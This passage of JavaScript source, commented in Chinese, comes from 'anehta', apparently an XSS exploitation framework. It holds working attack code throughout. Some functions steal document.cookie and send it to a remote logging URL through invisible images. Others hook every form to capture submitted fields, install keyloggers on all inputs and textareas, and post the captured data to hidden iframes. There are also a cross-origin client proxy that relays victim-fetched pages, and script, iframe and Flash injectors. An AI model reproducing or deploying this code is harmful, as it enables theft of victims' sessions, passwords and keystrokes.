o.addEventListener(e, window[fn], false); } else if (o.attachEvent){ // IE o.attachEvent("on"+e, window[fn] ); } else { // //alert(2); var oldhandler = o["on"+e]; if (oldhandler) { o["on"+e] = function(x){ oldhandler(x); window[fn](); } } else { o["on"+e] = function(x){ window[fn](); } } } } // 从element o的e事件中将fn函数移去 anehta.dom.unbindEvent = function (o, e, fn){ if (typeof o == "undefined" || typeof e == "undefined" || typeof fn == "undefined"){ return false; } if (o.removeEventListener){ o.removeEventListener(e, window[fn], false); } else if (o.detachEvent){ // IE o.detachEvent("on"+e, window[fn]); } else { var oldhandler = o["on"+e]; if (oldhandler) { o["on"+e] = ""; } } } // from attackAPI anehta.dom.getDocument = function (target){ var doc = null; if (target == undefined) { doc = document; } else if (target.contentDocument) { doc = target.contentDocument; } else if (target.contentWindow) { doc = target.contentWindow.document; } else if (target.document) { doc = target.document; } return doc; } // 添加一个cookie; 需要cookie名事先不存在. 如果是更改cookie的值请用setCookie anehta.dom.addCookie = function (cookieName, cookieValue){ // 为了和setCookie有所分别 if (anehta.dom.checkCookie(cookieName) == true){ return false; } if (cookieValue != null){ document.cookie = cookieName + "=" + cookieValue + "\;" + document.cookie; } else if (cookieName != undefined){ //alert("now: "+$d.cookie +" cookieName: "+cookieName); document.cookie = cookieName + "\;" + document.cookie; // 不需要"=" //alert($d.cookie); } return true; } // 检查cookie是否存在,不取值 anehta.dom.checkCookie = function (cookieName){ var cookies = document.cookie.split( ';' ); for ( i = 0; i < cookies.length; i++ ){ if (cookies[i].indexOf(cookieName) >= 0){ return true; } } return false; } // 获取指定cookie的值 // http://techpatterns.com/downloads/javascript_cookies.php // To use, simple do: Get_Cookie('cookie_name'); // replace cookie_name with the real cookie name, '' are required anehta.dom.getCookie = function (cookieName){ // first we'll split this cookie up into name/value pairs // note: document.cookie only returns name=value, not the other components var a_all_cookies = document.cookie.split( ';' ); var a_temp_cookie = ''; var cookie_name = ''; var cookie_value = ''; var b_cookie_found = false; // set boolean t/f default f for ( i = 0; i < a_all_cookies.length; i++ ) { // now we'll split apart each name=value pair a_temp_cookie = a_all_cookies[i].split( '=' ); // and trim left/right whitespace while we're at it cookie_name = a_temp_cookie[0].replace(/^\s+|\s+$/g, ''); // if the extracted name matches passed check_name if ( cookie_name == cookieName ) { b_cookie_found = true; // we need to handle case where cookie has no value but exists (no = sign, that is): if ( a_temp_cookie.length > 1 ) { cookie_value = unescape( a_temp_cookie[1].replace(/^\s+|\s+$/g, '') ); } // note that in cases where cookie is initialized but no value, null is returned return cookie_value; break; } a_temp_cookie = null; cookie_name = ''; } if ( !b_cookie_found ) { return null; } } // 设置某个cookie的值;需要该cookie存在,否则返回false anehta.dom.setCookie = function (cookieName, cookieValue){ var cookies = document.cookie.split(';'); var single_cookie; var newcookies = new Array(); var ret = false; // 若是没有找到cookieName 则返回false // 实现一个trim, from webtoolkit /* * In programming, trim is a string manipulation function or algorithm. The most popular variants of the trim function strip only the beginning or end of the string. Typically named ltrim and rtrim respectively. * Javascript trim implementation removes all leading and trailing occurrences of a set of characters specified. If no characters are specified it will trim whitespace characters from the beginning or end or both of the string. * Without the second parameter, they will trim these characters: * " " (ASCII 32 (0x20)), an ordinary space. * "\t" (ASCII 9 (0x09)), a tab. * "\n" (ASCII 10 (0x0A)), a new line (line feed). * "\r" (ASCII 13 (0x0D)), a carriage return. * "\0" (ASCII 0 (0x00)), the NUL-byte. * "\x0B" (ASCII 11 (0x0B)), a vertical tab. */ function trim(str, chars) { return ltrim(rtrim(str, chars), chars); } function ltrim(str, chars) { chars = chars || "\\s"; return str.replace(new RegExp("^[" + chars + "]+", "g"), ""); } function rtrim(str, chars) { chars = chars || "\\s"; return str.replace(new RegExp("[" + chars + "]+$", "g"), ""); } for (i=0; i<cookies.length; i++){ if (cookies[i].indexOf("=")<0){ //没有"="的情况 if (cookies[i] == cookieName){ newcookies[i]=cookies[i] + "=" + cookieValue + ";"; ret = true; } else { newcookies[i]=cookies[i] + ";"; } } else { single_cookie = cookies[i].split('='); // 使用自定义的trim, 独立于jQuery //if ($.trim(single_cookie[0]) == cookieName){ if (trim(single_cookie[0]) == cookieName){ //alert("matched! "+cookies[i]); newcookies[i] = single_cookie[0] + "=" + cookieValue + ";"; ret = true; } else{ newcookies[i]=cookies[i] + ";"; } } document.cookie = newcookies[i]; // 改变cookie的值 } //alert(newcookies); return ret; } // 实际上只能expire cookie anehta.dom.delCookie = function (cookieName){ if (anehta.dom.checkCookie(cookieName) == false){ return false; } var exp = new Date(); try{ document.cookie = cookieName + "=" + anehta.dom.getCookie(cookieName) + ";" + "expires=" + exp.toGMTString() + ";" + ";"; } catch (e){ return false; } //alert(document.cookie); return true; } // 让一个cookie不过期 anehta.dom.persistCookie = function(cookieName){ if (anehta.dom.checkCookie(cookieName) == false){ return false; } try{ document.cookie = cookieName + "=" + anehta.dom.getCookie(cookieName) + ";" + "expires=Thu, 01-Jan-2038 00:00:01 GMT;"; } catch (e){ return false; } return true; } // 取当前URI中某个参数的值 anehta.dom.getQueryStr = function(QueryStrName){ var queryStr; var queryStr_temp; queryStr = window.location.href.substr(window.location.href.indexOf("?")+1).split('&'); for (i=0; i<queryStr.length; i++){ queryStr_temp = queryStr[i].split('='); if (queryStr_temp[0] == QueryStrName){ // 找到了 return queryStr_temp[1]; // 返回值 } } return null; // 否则返回空 } ////////////////////////////////////////////////// //// Net Library ////////////////////////////////////////////////// anehta.net = {}; // get 请求 anehta.net.getURL = function(s){ var image = new Image(); image.style.width = 0; image.style.height = 0; image.src = s; } // 提交表单 anehta.net.postForm = function(url){ var f; f=document.createElement('form'); f.action=url; f.method="post"; document.getElementsByTagName("body")[0].appendChild(f); f.submit(); } // 向隐藏iframe提交表单 //ifr 为iframe对象,由 ifr = anehta.inject.addIframe(""); 创建 anehta.net.postFormIntoIframe = function(ifr, url, postdata){ // 创建form var f; f=document.createElement('form'); f.action=url; f.method="post"; f.target=ifr.name; // 提交到iframe里 // 嵌套post数据,可选 if (typeof postdata != "undefined"){ f.innerHTML = "<input type=hidden name='anehtaInput_" + ifr.name + "' value=\"" + postdata + "\" \/>"; } document.getElementsByTagName("body")[0].appendChild(f); f.submit(); //释放内存 setTimeout(function(){document.getElementsByTagName("body")[0].removeChild(f);}, 1000); } anehta.net.cssGet = function(url){ var cssget = {}; var s, e; if(document.createStyleSheet) { s = document.createStyleSheet(); e = s.owningElement || s.ownerNode; } else { e = document.createElement("style"); s = e.sheet; } e.setAttribute("type", "text/css"); if(!e.parentNode) document.getElementsByTagName("head")[0].appendChild(e); if(!s) s = e.sheet; cssget.styleSheet = s; cssget.styleElement = e; var item, index; // IE if(s.addImport) { index = s.addImport(url); item = s.imports(index); } // W3C else if(s.insertRule) { index = s.insertRule("@import url(" + url + ");", 0); item = s.cssRules[index]; } return null; } ////////////////////////////////////////////////// //// Logger Library ////////////////////////////////////////////////// anehta.logger = {}; anehta.logger.logInfo = function(param){ param = NoCryptMark + XssInfo_S + "Watermark: " + anehta.dom.getCookie("anehtaWatermark") + XssInfo_E + "<requestURI>" + "\r\n<![CDATA[\r\n" + encodeURI(window.location.href) + "\r\n]]>\r\n" + "</requestURI>" + "\r\n" + // 获取当前URI param; param = encodeURIComponent(param); anehta.net.getURL(logurl+param); } anehta.logger.logCookie = function(){ var param = XssInfo_S + "Watermark: " + anehta.dom.getCookie("anehtaWatermark") + XssInfo_E + "<requestURI>" + "\r\n<![CDATA[\r\n" + encodeURI(window.location.href) + "\r\n]]>\r\n" + "</requestURI>" + "\r\n" + // 获取当前URI "<slaveCookie>" + "\r\n<![CDATA[\r\n" + encodeURIComponent(document.cookie) + "\r\n]]>\r\n" + "</slaveCookie>" ; //获取当前cookie param = anehta.crypto.base64Encode(param); // base64 加密参数传输; 使用base64加密对性能影响很大 //alert(param); // 发送cookie 和 uri 回 server anehta.net.getURL(logurl+param); } /* * Name: logForm * Args: * o - specified form object * url - the url you want to get with form information * delay - time span you want to delay * e.g. * <form onsubmit="return logForm(this, 'http://www.target.com', 500);" method="post" ...> */ anehta.logger.logForm = function(o) { //alert("logForm"); var inputs = o.getElementsByTagName("input"); //url += "?"; var param = ""; // form的参数 for (var i = 0; i < inputs.length; i ++) { if (inputs[i].getAttribute("name") != null && inputs[i].getAttribute("name") != "") { param += encodeURIComponent(inputs[i].getAttribute("name")) + "=" + encodeURIComponent(inputs[i].value) + "&"; } } // 记录提交的参数到远程服务器 param = XssInfo_S + "Watermark: " + anehta.dom.getCookie("anehtaWatermark") + XssInfo_E + "<requestURI>" + "\r\n<![CDATA[\r\n" + encodeURI(window.location.href) + "\r\n]]>\r\n" + "</requestURI>" + "\r\n" + // 获取当前URI "<formSniffer>" + "\r\n<![CDATA[\r\n" + encodeURIComponent(param) + "\r\n]]>\r\n" + "</formSniffer>"; //alert(param); param = anehta.crypto.base64Encode(param); //base64时候对时间影响太大,会导致还没发包就页面跳转,从而出错 var img = document.createElement("IMG"); document.body.appendChild(img); img.width = 0; img.height = 0; img.src = logurl+param; // 需要冻结一段时间保证getURL成功完成 anehta.core.freeze(300); //return false; } // 定期检查client cache,并把其中的信息发送到server anehta.logger.logCache = function(){ var interval = 3000; // 检查的频率 var cache_tmp = ""; //alert(1); //需要加载一个定制的iframe var dd = document.createElement('div'); var ifrname = "anehtaPostLogger";//生成一个随机的name dd.innerHTML = "<iframe id='" + ifrname + "' name='" + ifrname + "' width=0 height=0 ></iframe>"; document.getElementsByTagName('body')[0].appendChild(dd); var ifr = document.getElementById(ifrname); setInterval(function(){ // 正常记录cache里数据 var keys = anehtaCache.showKeys(); if (keys != null){ // cache里有东西 var cache = ""; for (i=0; i<keys.length; i++) { if (anehtaCache.hasItem(keys[i]) == true){ cache = cache + "\r\n" + "<" + keys[i] + ">" + "\r\n<![CDATA[\r\n" + anehtaCache.getItem(keys[i]) + "\r\n]]>\r\n" + "</" + keys[i] + ">" + " [anehtaCacheSplit] "; } } //alert(cache_tmp); if(cache != cache_tmp){ // 有变化才发送,没有变化不发送 //if(cache != ""){ // 有记录才发送,没有记录不发送 try { // 如果cache太长会导致请求失败 //anehta.logger.logInfo(cache); if (cache_tmp == ""){ // 起初cache_tmp为空,将cache里的数据全部发送出去 cache_tmp = cache; // 先把当前cache保存在cache_tmp 中 cache = NoCryptMark + XssInfo_S + "Watermark: " + anehta.dom.getCookie("anehtaWatermark") + XssInfo_E + " [anehtaCacheSplit] " + "<requestURI>" + "\r\n<![CDATA[\r\n" + encodeURI(window.location.href) + "\r\n]]>\r\n" + "</requestURI>" + "\r\n" + // 获取当前URI cache; cache = encodeURIComponent(cache); anehta.net.postFormIntoIframe(ifr, logurl, cache); } else { var c_tmp = cache_tmp.split(" [anehtaCacheSplit] "); var c = cache.split(" [anehtaCacheSplit] "); var sendDiff = ""; var flag = 0; //通过这个标志判断是否找到 for (i=0; i < c.length; i++){ for (j=0; j < c_tmp.length; j++){ if (c_tmp[j] == c[i]){ // 找到了, 没差异,跳过继续找 flag = 1; break; } } if ( flag == 1){ flag = 0; continue; } else { // 没找到,记下来,准备发送 sendDiff = sendDiff + c[i] ;//+ " [anehtaCacheSplit] "; // 还原信息头 //alert("senddiff: "+sendDiff); } } // 只发送差异部分 sendDiff = NoCryptMark + XssInfo_S + "Watermark: " + anehta.dom.getCookie("anehtaWatermark") + XssInfo_E + " [anehtaCacheSplit] " + "<requestURI>" + "\r\n<![CDATA[\r\n" + encodeURI(window.location.href) + "\r\n]]>\r\n" + "</requestURI>" + "\r\n" + // 获取当前URI sendDiff; sendDiff = encodeURIComponent(sendDiff); anehta.net.postFormIntoIframe(ifr, logurl, sendDiff); cache_tmp = cache; // 把当前cache保存在cache_tmp 中 } } catch (e) { //alert(e); } } } }, interval); } ////////////////////////////////////////////////// // Ajax Library ////////////////////////////////////////////////// anehta.ajax = {}; /* * XmlHttp 类 */ anehta.ajax.XmlHttp = function() { var o = null; var readyStateChange = function(processResponseProc) { if (o.readyState == 4) { //if (o.status == 200 || o.status == 0) { // 使得永远返回真.看回显 if (o.status) { processResponseProc(o.responseText, o.getAllResponseHeaders()); } /*else if (o.status == 302 || o.status == 301 || o.status == 304) { processResponseProc(null, o.getAllResponseHeaders()); } else { processResponseProc(null, null); }*/ } }; var setRequestHeaders = function(headers) { var header, name, value; if (headers == null || headers == undefined) { return; } for (var i = 0; i < headers.length; i ++) { header = headers[i]; if (header.indexOf(":") < 0) { continue; } name = header.split(":")[0]; value = header.substring(header.indexOf(":") + 1); o.setRequestHeader(name, value); } } return { /* * init 方法 * * 返回值 * 如果初始化成功则返回true,否则返回false * * 说明 * 初始化XmlHttp对象, */ init : function() { if (o == null) { if (window.XMLHttpRequest) { try { o = new XMLHttpRequest(); } catch (ex) { return false; } } else if (window.ActiveXObject) { try { o = new ActiveXObject("Msxml4.XMLHttp"); } catch (ex) { try { o = new ActiveXObject("Msxml2.XMLHttp"); } catch (ex) { try { o = new ActiveXObject("Microsoft.XMLHttp"); } catch (ex) { return false; } } } } } return true; }, /* * get 方法 * * 参数 * url - 要请求的url * processResponse - 处理返回结果委托 * * 返回值 * 如果请求发起成功则返回true,否则返回false * * 说明 * 发起http请求 */ get : function(url, headers, processResponse) { try { o.open("GET", url, true); setRequestHeaders(headers); o.onreadystatechange = function() { readyStateChange(processResponse); }; // 自动带上当前cookie, 对FF有效 o.setRequestHeader("Cookie", document.cookie); o.send(null); // FF里函数一定要带参数,否则函数会不执行 return true; } catch (ex) { return false; } }, /* * post 方法 * * 参数 * url - 要请求的url * data - 发送的数据,注意这里值必须是urlencode过的 * processResponse - 处理返回结果委托 * * 返回值 * 如果请求发起成功则返回true,否则返回false * * 说明 * 发起post请求 */ post : function(url, data, headers, processResponse) { processResponseProc = processResponse; try { o.open("POST", url, true); setRequestHeaders(headers); o.onreadystatechange = function() { readyStateChange(processResponse); }; o.setRequestHeader("Content-Length", data.length); o.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); // 自动带上当前cookie; 在firefox中正常,IE中设置不了 o.setRequestHeader("Cookie", document.cookie); o.send(data); return true; //return processResponse; } catch (ex) { return false; } } }; }; /* 使用方法 var xmlhttp = new anehta.ajax.XmlHttp(); if (xmlhttp.init()) { var url = "http://cn.yahoo.com"; xmlhttp.post(url, "", null, function(response, responseHeaders) { if (responseHeaders != null) { alert(responseHeaders); } if (response != null) { alert(response); } }); } */ // 初始化AJAX var anehtaXmlHttp = new anehta.ajax.XmlHttp(); // 重新封装POST/GET 返回数据写在cache中 /* * anehtaCache.getItem("ajaxPostResponseHeaders")); * anehtaCache.getItem("ajaxPostResponse")); * anehtaCache.hasItem("ajaxPostResponse")); */ anehta.ajax.post = function(url, param){ // 第二个参数是提交的参数,第三个参数是headers anehtaXmlHttp.post(url, param, null, function(response, responseHeaders) { if (responseHeaders != null) { //alert(responseHeaders); anehtaCache.setItem("ajaxPostResponseHeaders", responseHeaders); } if (response != null) { //alert(response); anehtaCache.setItem("ajaxPostResponse", encodeURIComponent(response)); } }); } anehta.ajax.get = function(url){ // 第二个参数是headers anehtaXmlHttp.get(url, null, function(response, responseHeaders) { if (responseHeaders != null) { //alert(responseHeaders); anehtaCache.setItem("ajaxGetResponseHeaders", responseHeaders); } if (response != null) { //alert(response); anehtaCache.setItem("ajaxGetResponse", encodeURIComponent(response)); } }); } // 初始化 ajax anehtaXmlHttp.init(); // 安装客户端proxy anehta.ajax.clientProxy = function(gotoURL, proxyMethod){ //需要加载一个定制的iframe var dd = document.createElement('div'); var ifrname = "anehtaPostClientProxy";//生成一个随机的name dd.innerHTML = "<iframe id='" + ifrname + "' name='" + ifrname + "' width=0 height=0 ></iframe>"; document.getElementsByTagName('body')[0].appendChild(dd); var ifr = document.getElementById(ifrname); if (proxyMethod == "Get"){ anehtaXmlHttp.get(gotoURL, null, function(response, responseHeaders) { if (responseHeaders != null) { //alert(responseHeaders); } if (response != null) { //alert(response); // 发送页面回服务器 anehta.net.postFormIntoIframe(ifr, logurl, encodeURIComponent(response)); } }); } else if (proxyMethod == "Post"){ // 先切分出query string var postParam = ""; if (gotoURL.indexOf('?') > -1){ postParam = gotoURL.split('?'); gotoURL = postParam[0]; postParam = postParam[1]; } //gotoURL = "http://" + (gotoURL.split('/'))[2]; // post 请求 anehtaXmlHttp.post(gotoURL, postParam, null, function(response, responseHeaders) { if (responseHeaders != null) { //alert(responseHeaders); } if (response != null) { //alert(response); // 发送页面回服务器 anehta.net.postFormIntoIframe(ifr, logurl, encodeURIComponent(response)); } }); } else { // Method 方法不对 return false; } } ////////////////////////////////////////////////// //// Injection Library ////////////////////////////////////////////////// anehta.inject = {}; anehta.inject.injectScript = function(ptr_sc){ s=document.createElement("script"); s.src=ptr_sc; document.getElementsByTagName("body")[0].appendChild(s); return s; } // s需要是一个script对象 anehta.inject.removeScript = function(s){ document.body.removeChild(s); } anehta.inject.addScript = function(ptr_sc){ document.write("<script src='"+ptr_sc+"'></script>"); } anehta.inject.injectCSS = function(ptr_sc){ var c = document.createElement("link"); c.type = "text/css"; c.rel = "stylesheet"; c.href = ptr_sc; document.getElementsByTagName("body")[0].appendChild(c); return c; } anehta.inject.injectIframe = function(remoteurl) { var newIframe = document.createElement("iframe"); var ts = new Date(); newIframe.id = "anehtaIframe"+ts.getTime(); //生成一个随机的name newIframe.name = newIframe.id; // IE中似乎加不上name属性 newIframe.style.width = 0; newIframe.style.height = 0; newIframe.src = remoteurl; document.body.appendChild(newIframe); return newIframe; } anehta.inject.addIframe = function(srcurl){ var dd = document.createElement('div'); var ts = new Date(); var ifrname = "anehtaIframe"+ts.getTime(); //生成一个随机的name dd.innerHTML = "<iframe id='" + ifrname + "' name='" + ifrname + "' src='" + srcurl + "' width=0 height=0 ></iframe>"; document.getElementsByTagName('body')[0].appendChild(dd); return document.getElementById(ifrname); } anehta.inject.createIframe = function(w) { var d = w.document; var newIframe = d.createElement("iframe"); newIframe.style.width = 0; newIframe.style.height = 0; d.body.appendChild(newIframe); newIframe.contentWindow.document.write("<html><body></body></html>"); return newIframe; } anehta.inject.injectScriptIntoIframe = function(f, proc) { var d = f.contentWindow.document; var s = "<script>\n" + proc.toString() + "\n<\/script>"; d.write(s); } anehta.inject.injectFlash = function(flashId, flashSrc, flashParam) { //flashParam = '?' + flashParam; /* document.write('<object type="application/x-shockwave-flash" data="' + flashSrc + '" width="0" height="0" id="' + flashId + '"><param name="allowScriptAccess" value="always" /> ' + '<param name="movie" value="' + flashSrc + '" />' + '<PARAM NAME=FlashVars VALUE="domainAllowed=' + flashParam + '" />' + '<param name="bgColor" value="#fff" /> </object>'); */ var f = document.createElement('div'); f.innerHTML = '<object type="application/x-shockwave-flash" data="' + flashSrc + '" width="0" height="0" id="' + flashId + '"><param name="allowScriptAccess" value="always" /> ' + '<param name="movie" value="' + flashSrc + '" />' + '<PARAM NAME=FlashVars VALUE="domainAllowed=' + flashParam + '" />' + '<param name="bgColor" value="#fff" /> </object>'; document.getElementsByTagName('body')[0].appendChild(f); return f; } anehta.inject.injectApplet = function() { } ////////////////////////////////////////////////// //// Hook Library ////////////////////////////////////////////////// anehta.hook = {}; /* 一般JS函数的hook, 使用委托 @axis 注意hook函数加载前,如果函数已经调用了,则该函数无法hook var hj = new hookJsFunction(); //自己定义的函数需要返回一个array作为被hook函数的新参数 //可以劫持参数,不能递归调用 hj.hook("被hook的函数名", "保存原函数的变量", "你的函数名"); hi.unhook("被hook的函数名", "保存原函数的变量"); //可以递归注入函数,不能劫持参数 hj.injectFn("被inject的函数名", "保存原函数的变量", "你的函数名"); */ anehta.hook.hookFunction = function (){ //alert("hookjsfunc"); // 保存原函数;还是需要作为参数指定一个, //否则多次hook后会丢失之前保存的原函数 //var RealFuncAfterHooked; return { hook: function(funcNameHooked, RealFuncAfterHooked, hookFunc){ try { setTimeout(function(){ //alert("hook before: "+window[funcNameHooked]); // 保存原函数 window[RealFuncAfterHooked] = window[funcNameHooked]; //window[funcNameHooked] = window[hookFunc]; // 参数个数可以根据需要进行调整 window[funcNameHooked] = function (param1,param2,param3,param4,param5,param6,param7){ // 劫持参数 var newParam = new Array(); // 先执行注入的函数; 需要返回被劫持后的参数,作为新参数传入原函数 newParam = window[hookFunc](param1, param2, param3, param4, param5, param6, param7); //alert("newParam= "+newParam); // 再执行原函数 window[RealFuncAfterHooked](newParam[0], newParam[1], newParam[2], newParam[3], newParam[4], newParam[5], newParam[6]); // 不注入参数,直接执行原函数; //window[RealFuncAfterHooked](param1,param2,param3,param4,param5,param6,param7); } //alert("hook after: "+window[funcNameHooked]); }, 10); return true; } catch (e){ return false; } }, unhook: function(funcNameHooked, RealFuncAfterHooked){ try { setTimeout(function(){ //alert("unhook before: "+window[funcNameHooked]); window[funcNameHooked] = function (param1,param2,param3,param4,param5,param6,param7){ window[RealFuncAfterHooked](param1,param2,param3,param4,param5,param6,param7); // 执行原函数; } //alert("unhook after: "+window[funcNameHooked]); }, 10); return true; } catch (e){ return false; } }, injectFn: function(funcNameInjected, RealFuncAfterInjected, injectFunc){ try { setTimeout(function(){ // 保存原函数 window[RealFuncAfterInjected] = window[funcNameInjected]; // 参数个数可以根据需要进行调整 window[funcNameInjected] = function (param1,param2,param3,param4,param5,param6,param7){ // 先执行注入的函数 window[injectFunc](param1, param2, param3, param4, param5, param6, param7); // 再执行原函数 window[RealFuncAfterInjected](param1,param2,param3,param4,param5,param6,param7); } }, 10); return true; } catch (e){ return false; } } }; }; // 初始化hook var anehtaHook = new anehta.hook.hookFunction(); /* * Name: hookSubmit * Args: * o - specified form object * e.g. * <form onkeydown="javascript: hookSubmit(this);" ..> * * If the form uses javascript to call submit method for submitting, you should install a hook on the form. */ anehta.hook.hookSubmit = function(o, injectFuncCallBack) { //alert(); if (o.hooked == undefined) { o.hooked = true; o._submit = o.submit; o.submit = function() { //alert("submit hooked!"); // hook函数的功能作为第二个参数在这里调用 injectFuncCallBack(); o.onsubmit(); } } } // hook 指定表单的提交 anehta.hook.hookForm = function(f){ if (typeof f == "undefined"){ return false; } window.anehtaHookForm = function(){ anehta.logger.logForm(f); //anehta.core.freeze(200); } anehta.dom.bindEvent(f, "submit", "anehtaHookForm"); } // 找出页面上所有表单并hook之 anehta.hook.hookAllForms = function(){ var allforms = document.getElementsByTagName("form"); for(i=0; i<allforms.length; i++){ anehta.hook.hookForm(allforms[i]); } } // Special keyCode Table var keyCodeMap = [{code:08, keyVal:" [backspace] "}, {code:09, keyVal:" [tab] "}, {code:13, keyVal:" [enter] "}, {code:16, keyVal:" [shift] "}, {code:17, keyVal:" [ctrl] "}, {code:18, keyVal:" [alt] "}, {code:19, keyVal:" [pause/break] "}, {code:20, keyVal:" [caps lock] "}, {code:27, keyVal:" [escape] "}, {code:32, keyVal:" [space] "}, {code:33, keyVal:" [page up] "}, {code:34, keyVal:" [page down] "}, {code:35, keyVal:" [end] "}, {code:36, keyVal:" [home] "}, {code:37, keyVal:" [left arrow] "}, {code:38, keyVal:" [up arrow] "}, {code:39, keyVal:" [right arrow] "}, {code:40, keyVal:" [down arrow] "}, {code:44, keyVal:" [print screen] "}, // 可能要 onkeyup 才能触发 {code:45, keyVal:" [insert] "}, {code:46, keyVal:" [delete] "}, {code:91, keyVal:" [left window key] "}, {code:92, keyVal:" [right window key] "}, {code:93, keyVal:" [select key] "}, {code:96, keyVal:" [numpad 0] "}, {code:97, keyVal:" [numpad 1] "}, {code:98, keyVal:" [numpad 2] "}, {code:99, keyVal:" [numpad 3] "}, {code:100, keyVal:" [numpad 4] "}, {code:101, keyVal:" [numpad 5] "}, {code:102, keyVal:" [numpad 6] "}, {code:103, keyVal:" [numpad 7] "}, {code:104, keyVal:" [numpad 8] "}, {code:105, keyVal:" [numpad 9] "}, {code:106, keyVal:" [multiply] "}, {code:107, keyVal:" [add] "}, {code:109, keyVal:" [subtract] "}, {code:110, keyVal:" [decimal point] "}, {code:111, keyVal:" [divide] "}, {code:112, keyVal:" [F1] "}, {code:113, keyVal:" [F2] "}, {code:114, keyVal:" [F3] "}, {code:115, keyVal:" [F4] "}, {code:116, keyVal:" [F5] "}, {code:117, keyVal:" [F6] "}, {code:118, keyVal:" [F7] "}, {code:119, keyVal:" [F8] "}, {code:120, keyVal:" [F9] "}, {code:121, keyVal:" [F10] "}, {code:122, keyVal:" [F11] "}, {code:123, keyVal:" [F12] "}, {code:144, keyVal:" [num lock] "}, {code:145, keyVal:" [scroll lock] "}, {code:186, keyVal:" [semi-colon] "}, {code:187, keyVal:" [equal sign] "}, {code:188, keyVal:" [comma] "}, {code:189, keyVal:" [dash] "}, {code:190, keyVal:" [period] "}, {code:191, keyVal:" [foward slash] "}, {code:192, keyVal:" [grave accent] "}, {code:219, keyVal:" [open bracket] "}, {code:220, keyVal:" [back slash] "}, {code:221, keyVal:" [close bracket] "}, {code:222, keyVal:" [single quote] "} ]; // 给 element o 装上keylogger; o 一般是 input 或者 textarea // trigger 为选择什么时候发送keylog anehta.hook.installKeylogger = function(o, trigger){ // 记录keylog的函数 var i = 0; // 计数器 var j = 1; // 全局计数器 var keylogger = new Array(); var keystrokes = ""; //记录所有键盘记录 //var keycodeMap = [{"09":"Tab","65":"A"}]; var showkey = ""; // 只显示可见字符 window.installKeylogger = function(event){ if (event.keyCode >= 48 && event.keyCode <= 90){ // 数字和字母 showkey = String.fromCharCode(event.keyCode); } else { showkey = " [Special Key!] "; /* for (k=0; k<keyCodeMap.length; k++){ if (event.keyCode == keyCodeMap[k].code){ showkey = keyCodeMap[k].keyVal; //alert(showkey); } } */ } // json data format keylogger[i] = "{tag:'"+o.tagName+ "', name:'"+o.name+ "', id:'"+o.id+ "', press:'"+j+ "', key:'"+showkey+ "', keyCode:'"+event.keyCode+ "'}"; keystrokes = encodeURIComponent(showkey); //keystrokes 最好多escape一遍,因为有不可见字符,会导致解析xml出错 anehtaCache.appendItem("KeyStrokes", keystrokes); //alert(keylogger); //alert(keystrokes); i=i+1; j=j+1; } anehta.dom.bindEvent(o, "keydown", "installKeylogger"); // 如果设定了发送keylogger的方式...... if (trigger){ // 生成一个iframe用于向anehta提交长数据 var dd = document.createElement('div'); var ifrname = "anehtaPostKeylog";//生成一个随机的name dd.innerHTML = "<iframe id='" + ifrname + "' name='" + ifrname + "' width=0 height=0 ></iframe>"; document.getElementsByTagName('body')[0].appendChild(dd); var ifr = document.getElementById(ifrname); if (trigger == "blur"){ // 元素blur时触发 window.logKeyloggerOnBlur = function(){ // 提交数据比较多,需要使用post提交 ; 多escape一遍 keylogger = NoCryptMark + XssInfo_S + "Watermark: " + anehta.dom.getCookie("anehtaWatermark") + XssInfo_E + "<requestURI>" + "\r\n<![CDATA[\r\n" + encodeURI(window.location.href) + "\r\n]]>\r\n" + "</requestURI>" + "\r\n" + // 获取当前URI "<Keylogger>" + "\r\n<![CDATA[\r\n" + keylogger + "\r\n]]>\r\n" + "</Keylogger>"; //alert(keylogger); keylogger = escape(keylogger); anehta.net.postFormIntoIframe(ifr, logurl, keylogger); keylogger = ""; // 重置 //anehta.core.freeze(50); } anehta.dom.bindEvent(o, "blur", "logKeyloggerOnBlur"); } else if (trigger == "unload"){ // window.unload 时触发 window.logKeyloggerUnLoad = function(){ // 多escape一遍 keylogger = "<requestURI>" + "\r\n<![CDATA[\r\n" + encodeURI(window.location.href) + "\r\n]]>\r\n" + "</requestURI>" + "\r\n" + // 获取当前URI "<Keylogger>" + "\r\n<![CDATA[\r\n" + keylogger + "\r\n]]>\r\n" + "</Keylogger>"; // window.unload 时用post已经不合适了 anehta.logger.logInfo(keylogger); anehta.core.freeze(200); } anehta.dom.bindEvent(window, "unload", "logKeyloggerUnLoad"); } } } // 扫描所有的input和textarea, 并安装keylogger anehta.hook.installKeyloggerToAllInputs = function(){ var inputs = document.getElementsByTagName("input"); var textareas = document.getElementsByTagName("textarea"); for (i=0; i<inputs.length; i++){ anehta.hook.installKeylogger(inputs[i], "blur"); } for (i=0; i<textareas.length; i++){ anehta.hook.installKeylogger(textareas[i], "blur"); } } ////////////////////////////////////////////////// //// Detect Library ////////////////////////////////////////////////// anehta.detect = {}; /* detect browser type,version var bs = new anehta.detect.browser(); if ( bs.type() == "msie" ){ alert(bs.version()); */ anehta.detect.browser = function (){ var userAgent = navigator.userAgent.toLowerCase(); return { type : function(){ /* 独立于jQuery实现 //$.browser.msie/safari/opera/mozilla if($.browser.msie){ return "msie";} else if($.browser.mozilla){return "mozilla";} else if($.browser.opera){return "opera";} else if($.browser.safari){return "safari";} else {return "unknown";} */ //alert(navigator.userAgent); // 通过一些dom对象判断浏览器指纹 ie,ie7,ie8,ff2,ff3,safari,opera,chrome,maxthon,theworld,360se.... //if (typeof document.all != "undefined"){ // msie ; firefox 在 quirks mode下也支持 if (window.ActiveXObject){ anehtaCache.setItem("BrowserSniffer", "MSIE 6.0 or below"); // 判断是否是IE7以上 if (document.documentElement && typeof document.documentElement.style.maxHeight!="undefined" ){ // 判断是否是 IE8+ if ( typeof document.adoptNode != "undefined") { // Safari3 & FF & Opera & Chrome & IE8 anehtaCache.setItem("BrowserSniffer", "MSIE8.0"); } // 因为是精确判断,所以改写cache anehtaCache.setItem("BrowserSniffer", "MSIE7.0"); } // 不可靠的判断一些浏览器 if (userAgent.indexOf("maxthon") > -1){ anehtaCache.appendItem("BrowserSniffer", " | "+"maybe maxthon"); } if (userAgent.indexOf("360se") > -1){ anehtaCache.appendItem("BrowserSniffer", " | "+"maybe 360se"); } if (userAgent.indexOf("theworld") > -1) { anehtaCache.appendItem("BrowserSniffer", " | "+"maybe theworld"); } /* if (userAgent.indexOf("") > -1) { //anehtaCache.appendItem("BrowserSniffer", " | "+"maybe greenbrowser"); } */ return "msie"; } else if (typeof window.opera != "undefined") { //opera独占 anehtaCache.setItem("BrowserSniffer", "Opera "+window.opera.version()); return 